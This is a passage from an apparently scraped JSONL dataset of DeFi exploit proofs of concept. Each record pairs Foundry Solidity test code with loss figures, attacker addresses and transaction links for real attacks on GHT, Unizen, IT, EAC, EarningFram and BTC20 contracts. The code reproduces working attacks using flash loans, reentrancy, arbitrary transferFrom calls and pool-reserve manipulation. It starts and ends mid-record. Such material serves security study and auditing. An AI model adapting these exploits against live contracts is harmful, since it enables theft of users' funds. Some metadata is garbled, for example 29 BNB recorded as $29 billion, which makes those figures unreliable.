in,\n /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.\n function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);\n}\n\ncontract ContractTest is Test {\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IGHT private constant GHT = IGHT(0x528e046ACfb52bD3f9c400e7A5c79A8a2c2863d0);\n Uni_Pair_V2 private constant WETH_GHT = Uni_Pair_V2(0x706206EabD6A70ca4992eEc1646B6D1599259CAe);\n\n function setUp() public {\n CheatCodesNew(address(vm)).createSelectFork(\n \"mainnet\", bytes32(0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68)\n );\n vm.label(address(WETH), \"WETH\");\n vm.label(address(GHT), \"GHT\");\n vm.label(address(WETH_GHT), \"WETH_GHT\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n uint256 amount = GHT.balanceOf(address(WETH_GHT));\n GHT.transferFrom(address(WETH_GHT), address(GHT), amount - 1);\n WETH_GHT.sync();\n amount = GHT.balanceOf(address(GHT));\n GHT.transferFrom(address(GHT), address(WETH_GHT), amount);\n uint256 balance = GHT.balanceOf(address(WETH_GHT));\n (uint256 reserveIn, uint256 reserveOut,) = WETH_GHT.getReserves();\n uint256 amountIn = balance - reserveIn;\n uint256 amountInWithFee = amountIn * 997;\n uint256 numerator = amountInWithFee * reserveOut;\n uint256 denominator = reserveIn * 1000 + amountInWithFee;\n uint256 amountOut = numerator / denominator;\n\n WETH_GHT.swap(0, amountOut, address(this), \"\");\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "GHT", "date": "2024-03", "file_name": "GHT_exp.sol", "attack_vector": null, "content_hash": "75358c2c10043808", "collected_at": "2026-01-07T10:59:16.524004", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~$57K", "total_lost_usd": 57000.0, "attacker_address": "https://etherscan.io/address/0x096f0f03e4be68d7e6dd39b22a3846b8ce9849a3", "attack_contract": "https://etherscan.io/address/0xcc5159b5538268f45afda7b5756fa8769ce3e21f", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68?line=3", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$57K", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n uint256 amount = GHT.balanceOf(address(WETH_GHT));\n GHT.transferFrom(address(WETH_GHT), address(GHT), amount - 1);\n WETH_GHT.sync();\n amount = GHT.balanceOf(address(GHT));\n GHT.transferFrom(address(GHT), address(WETH_GHT), amount);\n uint256 balance = GHT.balanceOf(address(WETH_GHT));\n (uint256 reserveIn, uint256 reserveOut,) = WETH_GHT.getReserves();\n uint256 amountIn = balance - reserveIn;\n uint256 amountInWithFee = amountIn * 997;\n uint256 numerator = amountInWithFee * reserveOut;\n uint256 denominator = reserveIn * 1000 + amountInWithFee;\n uint256 amountOut = numerator / denominator;\n\n WETH_GHT.swap(0, amountOut, address(this), \"\");\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$57K", "keyinfo_attacker": "https://etherscan.io/address/0x096f0f03e4be68d7e6dd39b22a3846b8ce9849a3", "keyinfo_attack_contract": "https://etherscan.io/address/0xcc5159b5538268f45afda7b5756fa8769ce3e21f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68?line=3", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$57.0K", "content_richness_score": 6.39, "quality_estimate": "medium", "title": "GHT Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$2M\n// Attacker : https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df\n// Vuln Contract : https://etherscan.io/address/0xd3f64baa732061f8b3626ee44bab354f854877ac\n// One of the attack txs : https://app.blocksec.com/explorer/tx/eth/0xdd0636e2598f4d7b74f364fedb38f334365fd956747a04a6dd597444af0bc1c0\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1766274000534004187\n// https://twitter.com/AnciliaInc/status/1766261463025684707\n\ninterface ITradeAggregator {\n // I've written following structs based on regular swap txs to TradeAggregator\n struct Info {\n address to;\n uint256 structMember2; // not sure what this struct member represents\n address token;\n uint256 structMember3;\n uint256 structMember4;\n uint256 structMember5;\n string uuid;\n uint256 apiId;\n uint256 userPSFee;\n }\n\n struct Call {\n address target;\n uint256 amount;\n bytes data;\n }\n}\n\ncontract ContractTest is Test {\n ITradeAggregator private constant TradeAggregator = ITradeAggregator(0xd3f64BAa732061F8B3626ee44bab354f854877AC);\n IERC20 private constant VRA = IERC20(0xF411903cbC70a74d22900a5DE66A2dda66507255);\n address private constant tokenHolder = 0x12fe4bC7D0B969055F763C5587F2ED0cA1b334f3;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_393_360);\n vm.label(address(TradeAggregator), \"TradeAggregator\");\n vm.label(address(VRA), \"VRA\");\n vm.label(address(tokenHolder), \"tokenHolder\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter VRA balance before attack\", VRA.balanceOf(address(this)), VRA.decimals());\n\n ITradeAggregator.Info memory info = ITradeAggregator.Info({\n to: address(this),\n structMember2: 0,\n token: address(VRA),\n structMember3: 1,\n structMember4: 0,\n structMember5: 186_783_104_413_296_096,\n uuid: \"UNIZEN-CLI\",\n apiId: 17,\n userPSFee: 1875\n });\n\n bytes memory callData = abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\",\n tokenHolder,\n address(TradeAggregator),\n // 41_611_328_550_535_574_847_488 - amount was transfered from the token holder to TradeAggregator in attack tx.\n // Allowance is set to max so transfer everything.\n VRA.balanceOf(tokenHolder)\n );\n\n ITradeAggregator.Call memory call = ITradeAggregator.Call({target: address(VRA), amount: 0, data: callData});\n\n ITradeAggregator.Call[] memory calls = new ITradeAggregator.Call[](1);\n calls[0] = call;\n\n bytes memory data = abi.encodeWithSelector(bytes4(0x1ef29a02), info, calls);\n\n // Call to flawed function\n (bool success,) = address(TradeAggregator).call{value: 1 wei}(data);\n require(success, \"Call to TradeAggregator not successful\");\n\n emit log_named_decimal_uint(\"Exploiter VRA balance after attack\", VRA.balanceOf(address(this)), VRA.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "UnizenIO2", "date": "2024-03", "file_name": "UnizenIO2_exp.sol", "attack_vector": null, "content_hash": "cfc5d8fcd9dcd341", "collected_at": "2026-01-07T10:59:16.524052", "_source": "postmortems", "chain": "ethereum", "block_number": 19393360, "total_lost_raw": "~$2M", "total_lost_usd": 2000000.0, "attacker_address": "https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df", "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~$2M", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter VRA balance before attack\", VRA.balanceOf(address(this)), VRA.decimals());\n\n ITradeAggregator.Info memory info = ITradeAggregator.Info({\n to: address(this),\n structMember2: 0,\n token: address(VRA),\n structMember3: 1,\n structMember4: 0,\n structMember5: 186_783_104_413_296_096,\n uuid: \"UNIZEN-CLI\",\n apiId: 17,\n userPSFee: 1875\n });\n\n bytes memory callData = abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\",\n tokenHolder,\n address(TradeAggregator),\n // 41_611_328_550_535_574_847_488 - amount was transfered from the token holder to TradeAggregator in attack tx.\n // Allowance is set to max so transfer everything.\n VRA.balanceOf(tokenHolder)\n );\n\n ITradeAggregator.Call memory call = ITradeAggregator.Call({target: address(VRA), amount: 0, data: callData});\n\n ITradeAggregator.Call[] memory calls = new ITradeAggregator.Call[](1);\n calls[0] = call;\n\n bytes memory data = abi.encodeWithSelector(bytes4(0x1ef29a02), info, calls);\n\n // Call to flawed function\n (bool success,) = address(TradeAggregator).call{value: 1 wei}(data);\n require(success, \"Call to TradeAggregator not successful\");\n\n emit log_named_decimal_uint(\"Exploiter VRA balance after attack\", VRA.balanceOf(address(this)), VRA.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$2M", "keyinfo_attacker": "https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.00M", "content_richness_score": 5.63, "quality_estimate": "medium", "title": "UnizenIO2 Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xb33057f57ce451aa8cbb65508d298fe3c627509cc64a394736dace2671b6dcfa\n \n// Profit : ~13K USD\n// REASON : Business Logic Flaw\n// Transfer from pool,will lead to mint to pool.Seems easy,but a bit hard to make this poc.\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n Uni_Pair_V2 IT_USDT = Uni_Pair_V2(0x7265553986a81c838867aA6B3625ABA97B961f00);\n // token0 IT token1 USDT\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 IT = IERC20(0x1AC5Fac863c0a026e029B173f2AE4D33938AB473);\n uint256 constant PRECISION = 10 ** 18;\n address test_contract = address(this);\n address hack_contract;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 36_934_258);\n deal(address(USDT), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n pool.flash(address(this), 2_000_000_000_000_000_000_000, 0, \"\");\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = 0;\n bytecode = abi.encodePacked(bytecode, abi.encode(test_contract));\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n hack_contract = address(uint160(uint256(hash)));\n console.log(hack_contract);\n USDT.transfer(address(hack_contract), 2_000_000_000_000_000_000_000);\n address addr;\n // Use create2 to send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n // Money hackContract = new Money((address(this)));\n USDT.transferFrom(hack_contract, address(this), USDT.balanceOf(hack_contract));\n USDT.transfer(address(pool), 2000 ether + fee0);\n }\n\n function hack(\n address a\n ) public {\n uint256 i = 0;\n while (i < 9) {\n console.log(\"Time : \", i);\n USDT.transferFrom(a, address(IT_USDT), 2_000_000_000_000_000_000_000);\n uint256 pair_balance = IT.balanceOf(address(IT_USDT));\n uint256 usdt_balance = USDT.balanceOf(address(IT_USDT));\n // 0 ->IT 1->USDT\n (uint256 _reserve0, uint256 _reserve1,) = IT_USDT.getReserves();\n uint256 balance0 = mintToPoolIfNeeded(_reserve0 - 1) + 1;\n uint256 balance1 = (\n (_reserve0 * _reserve1 * 10_000 * 10_000) / ((balance0 * 10_000) - (balance0 - 1) * 25)\n + 2000 ether * 25\n ) / 10_000;\n uint256 amountout = usdt_balance - balance1;\n console.log(\"amountout %e\", amountout);\n IT_USDT.swap(_reserve0 - 1, amountout - 1, a, \"\");\n i++;\n }\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n return a >= b ? a : b;\n }\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n return a <= b ? a : b;\n }\n\n function feed(\n address a\n ) public {\n USDT.approve(a, type(uint256).max - 1);\n }\n\n function mintToPoolIfNeeded(\n uint256 amount\n ) public returns (uint256) {\n uint256 tokenUsdtRate;\n (uint112 reserve0, uint112 reserve1,) = IT_USDT.getReserves();\n\n uint256 tokenReserve;\n uint256 usdtReserve;\n\n if (address(IT) == IT_USDT.token0()) {\n tokenReserve = uint256(reserve0);\n usdtReserve = uint256(reserve1);\n } else {\n tokenReserve = uint256(reserve1);\n usdtReserve = uint256(reserve0);\n }\n tokenUsdtRate = uint256(usdtReserve) * (PRECISION) / (uint256(tokenReserve));\n\n // uint256 k = tokenReserve.mul(usdtReserve);\n\n uint256 tokenReserveAfterBuy = tokenReserve - amount;\n // uint256 usdtReserveAfterBuy = k.div(tokenReserveAfterBuy);\n uint256 usdtReserveAfterBuy =\n this.min(tokenReserve * (usdtReserve) / (tokenReserveAfterBuy), USDT.balanceOf(address(IT_USDT))); // min impltementing rule 3\n\n uint256 maxTokenUsdtRateAfterBuy = tokenUsdtRate + (tokenUsdtRate / (100));\n\n uint256 tokenMinReserveAfterBuy = usdtReserveAfterBuy * (PRECISION) / (maxTokenUsdtRateAfterBuy);\n\n if (tokenReserveAfterBuy >= tokenMinReserveAfterBuy) {\n return amount / 2;\n } else {\n return this.max(tokenMinReserveAfterBuy - (tokenReserveAfterBuy), amount / 2);\n }\n }\n}\n\ncontract Money {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n\n constructor(\n address _address\n ) {\n USDT.approve(_address, type(uint256).max - 1);\n _address.call(abi.encodeWithSignature(\"feed(address)\", address(this)));\n _address.call(abi.encodeWithSignature(\"hack(address)\", address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "IT", "date": "2024-03", "file_name": "IT_exp.sol", "attack_vector": null, "content_hash": "325940c1e57bcf77", "collected_at": "2026-01-07T10:59:16.524108", "_source": "postmortems", "chain": "unknown", "block_number": 36934258, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.72, "quality_estimate": "low", "title": "IT Exploit (2024-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$29BNB\n// Attacker : https://bscscan.com/address/0x27e981348c2d1f5b2227c182a9d0ed46eed84946\n// Attack Contract : https://bscscan.com/address/0x20dcf125f0563417d257b98a116c3fea4f0b2db2\n// Attack Tx : https://bscscan.com/tx/0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa\n\n// @Analysis\n// Twitter Guy : https://twitter.com/bbbb/status/1696520866564350157\n\ncontract ContractTest is Test {\n address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;\n address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n address private constant dodo_pool = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;\n\n address private constant proxy = 0xa08a40e0F11090Dcb09967973DF82040bFf63561;\n address private constant eac = 0x64f291DE10eCd36D5f7b64aaEbC70943CFACE28E;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 31_273_019 - 1);\n vm.label(usdt, \"USDT\");\n vm.label(eac, \"EAC\");\n vm.label(pancakeRouterV2, \"PANCAKE_ROUTER_V2\");\n vm.label(dodo_pool, \"DODOPool\");\n }\n\n function testExploit() public {\n IDPPOracle(dodo_pool).flashLoan(0, 300_000_000_000_000_008_388_608, address(this), new bytes(1));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n swap(usdt, eac, IERC20(usdt).balanceOf(address(this)));\n proxy.call(abi.encodeWithSelector(0xe6a24c3f, IERC20(usdt).balanceOf(proxy)));\n swap(eac, usdt, IERC20(eac).balanceOf(address(this)));\n // pay back\n IERC20(usdt).transfer(msg.sender, 300_000_000_000_000_008_388_608);\n emit log_named_decimal_uint(\"Attacker USDT balance after exploit\", IERC20(usdt).balanceOf(address(this)), 18);\n }\n\n function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {\n IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = tokenIn;\n path[1] = tokenOut;\n IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "EAC", "date": "2023-08", "file_name": "EAC_exp.sol", "attack_vector": "flash_loan", "content_hash": "b3f177ea72d9c0ab", "collected_at": "2026-01-07T10:59:16.524161", "_source": "postmortems", "chain": "bsc", "block_number": 31273019, "total_lost_raw": "~$29BNB", "total_lost_usd": 29000000000.0, "attacker_address": "https://bscscan.com/address/0x27e981348c2d1f5b2227c182a9d0ed46eed84946", "attack_contract": "https://bscscan.com/address/0x20dcf125f0563417d257b98a116c3fea4f0b2db2", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa", "postmortem_url": null, "twitter_url": "https://twitter.com/bbbb/status/1696520866564350157", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$29BNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n IDPPOracle(dodo_pool).flashLoan(0, 300_000_000_000_000_008_388_608, address(this), new bytes(1));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$29BNB", "keyinfo_attacker": "https://bscscan.com/address/0x27e981348c2d1f5b2227c182a9d0ed46eed84946", "keyinfo_attack_contract": "https://bscscan.com/address/0x20dcf125f0563417d257b98a116c3fea4f0b2db2", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/bbbb/status/1696520866564350157", "funds_lost_formatted": "$29000.00M", "content_richness_score": 7.19, "quality_estimate": "medium", "title": "EAC Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~286K USD$\n// Attacker : https://etherscan.io/address/0xee4b3dd20902fa3539706f25005fa51d3b7bdf1b\n// Attack Contract : https://etherscan.io/address/0xfe141c32e36ba7601d128f0c39dedbe0f6abb983\n// Vulnerable Contract : https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e\n// Attack Tx : https://etherscan.io/tx/0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fa\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1689182459269644288\n\ninterface IENF_ETHLEV is IERC20 {\n function deposit(uint256 assets, address receiver) external payable returns (uint256);\n\n function withdraw(uint256 assets, address receiver) external returns (uint256);\n\n function convertToAssets(\n uint256 shares\n ) external view returns (uint256);\n\n function totalAssets() external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n Uni_Pair_V3 Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);\n IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d);\n address Controller = 0xE8688D014194fd5d7acC3c17477fD6db62aDdeE9;\n Exploiter exploiter;\n uint256 nonce;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_875_885);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(ENF_ETHLEV), \"ENF_ETHLEV\");\n vm.label(address(Pair), \"Piar\");\n exploiter = new Exploiter();\n }\n\n function testExploit() external {\n while (ENF_ETHLEV.totalAssets() > 1 ether) {\n deal(address(this), 0);\n\n Pair.flash(address(this), 0, 10_000 ether, abi.encode(10_000 ether));\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n WETH.withdraw(WETH.balanceOf(address(this)));\n ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max);\n uint256 assets = ENF_ETHLEV.totalAssets();\n ENF_ETHLEV.deposit{value: assets}(assets, address(this)); // deposit eth, mint shares\n\n uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this)));\n ENF_ETHLEV.withdraw(assetsAmount, address(this)); // withdraw all assets, burn small shares by reentracny, re-enter point\n\n exploiter.withdraw(); // withdraw all assets\n\n WETH.deposit{value: address(this).balance}();\n uint256 amount = abi.decode(data, (uint256));\n WETH.transfer(address(Pair), amount1 + amount);\n }\n\n receive() external payable {\n if (msg.sender == Controller) {\n ENF_ETHLEV.transfer(address(exploiter), ENF_ETHLEV.balanceOf(address(this)) - 1);\n nonce++;\n }\n }\n}\n\ncontract Exploiter {\n IENF_ETHLEV ENF_ETHLEV = IENF_ETHLEV(0x5655c442227371267c165101048E4838a762675d);\n\n function withdraw() external {\n ENF_ETHLEV.approve(address(ENF_ETHLEV), type(uint256).max);\n uint256 assetsAmount = ENF_ETHLEV.convertToAssets(ENF_ETHLEV.balanceOf(address(this)));\n ENF_ETHLEV.withdraw(assetsAmount, address(this));\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "EarningFram", "date": "2023-08", "file_name": "EarningFram_exp.sol", "attack_vector": null, "content_hash": "27eb0163e3bcf81d", "collected_at": "2026-01-07T10:59:16.524210", "_source": "postmortems", "chain": "ethereum", "block_number": 17875885, "total_lost_raw": "~286K USD$", "total_lost_usd": 286000.0, "attacker_address": "https://etherscan.io/address/0xee4b3dd20902fa3539706f25005fa51d3b7bdf1b", "attack_contract": "https://etherscan.io/address/0xfe141c32e36ba7601d128f0c39dedbe0f6abb983", "vulnerable_contract": "https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e", "attack_tx": "https://etherscan.io/tx/0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fa", "postmortem_url": null, "twitter_url": "https://twitter.com/Phalcon_xyz/status/1689182459269644288", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~286K USD$", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~286K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xee4b3dd20902fa3539706f25005fa51d3b7bdf1b", "keyinfo_attack_contract": "https://etherscan.io/address/0xfe141c32e36ba7601d128f0c39dedbe0f6abb983", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x863e572b215fd67c855d973f870266cf827aea5e", "keyinfo_attack_tx": "https://etherscan.io/tx/0x6e6e556a5685980317cb2afdb628ed4a845b3cbd1c98bdaffd0561cb2c4790fa", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/Phalcon_xyz/status/1689182459269644288", "funds_lost_formatted": "$286.0K", "content_richness_score": 5.83, "quality_estimate": "medium", "title": "EarningFram Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~18ETH\n// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6\n// Attack Contract : https://etherscan.io/address/0xb7fbf984a50cd7c66e6da3448d68d9f3b7f24f33\n// Attack Tx : https://etherscan.io/tx/0xcdd93e37ba2991ce02d8ca07bf6563bf5cd5ae801cbbce3dd0babb22e30b2dbe\n\n// @Analysis\n// Twitter Guy : https://twitter.com/DecurityHQ/status/1692924369662513472\n\ncontract ContractTest is Test {\n IERC20 BTC20 = IERC20(0xE86DF1970055e9CaEe93Dae9B7D5fD71595d0e18);\n IERC20 SDEX = IERC20(0x5DE8ab7E27f6E7A1fFf3E5B337584Aa43961BEeF);\n IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n Uni_Pair_V3 SDEX_BTC20_Pair3 = Uni_Pair_V3(0xDb81b8cfB2718f7289ae2365DE800ac2c787E385);\n Uni_Pair_V3 BTC20_WETH_Pair3 = Uni_Pair_V3(0x7234c91bd835a6Ed108c8e986E0663B14F9DE14e);\n Uni_Router_V3 uniRouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n Uni_Pair_V2 BTC20_WETH_Pair2 = Uni_Pair_V2(0xd50C5B8f04587D67298915E099E170af3Cd6909A);\n IPresaleV4 PresaleV4 = IPresaleV4(0x1F006F43f57C45Ceb3659E543352b4FAe4662dF7);\n address[] private addrPath = new address[](2);\n uint256 Amount_SDEX_BTC20_Pair3 = 76_301_042_059_171_907_852_637;\n uint256 Amount_BTC20_WETH_Pair3 = 47_676_018_750_296_374_476_872;\n uint256 totalBorrowed = 300 ether;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_949_215 - 1);\n vm.label(address(BTC20), \"BTC20\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(SDEX), \"SDEX\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(SDEX_BTC20_Pair3), \"SDEX_BTC20_Pair3\");\n vm.label(address(BTC20_WETH_Pair3), \"BTC20_WETH_Pair3\");\n vm.label(address(uniRouter), \"uniRouter\");\n vm.label(address(BTC20_WETH_Pair2), \"BTC20_WETH_Pair2\");\n approveAll();\n }\n\n function testExploit() external {\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = totalBorrowed;\n bytes memory userData = \"\";\n console.log(\"Before Start: %d ETH\", WETH.balanceOf(address(this)));\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n uint256 intRes = WETH.balanceOf(address(this)) / 1 ether;\n uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18;\n console.log(\"Attack Exploit: %s.%s ETH\", intRes, decRes);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n exploitBTC();\n IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);\n }\n\n function exploitBTC() internal {\n SDEX_BTC20_Pair3.flash(address(this), 0, Amount_SDEX_BTC20_Pair3, abi.encode(Amount_SDEX_BTC20_Pair3));\n\n (addrPath[0], addrPath[1]) = (address(BTC20), address(WETH));\n Uni_Router_V3.ExactInputSingleParams memory eisParams = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(BTC20),\n tokenOut: address(SDEX),\n fee: 10_000,\n recipient: address(this),\n deadline: type(uint256).max,\n amountIn: BTC20.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n uniRouterV3.exactInputSingle(eisParams);\n (eisParams.tokenIn, eisParams.tokenOut, eisParams.amountIn) =\n (address(SDEX), address(WETH), SDEX.balanceOf(address(this)));\n uniRouterV3.exactInputSingle(eisParams);\n }\n\n function uniswapV3FlashCallback(uint256 _amount0, uint256 _amount1, bytes calldata data) external {\n uint256 amount = abi.decode(data, (uint256));\n\n if (amount == Amount_SDEX_BTC20_Pair3) {\n BTC20_WETH_Pair3.flash(address(this), 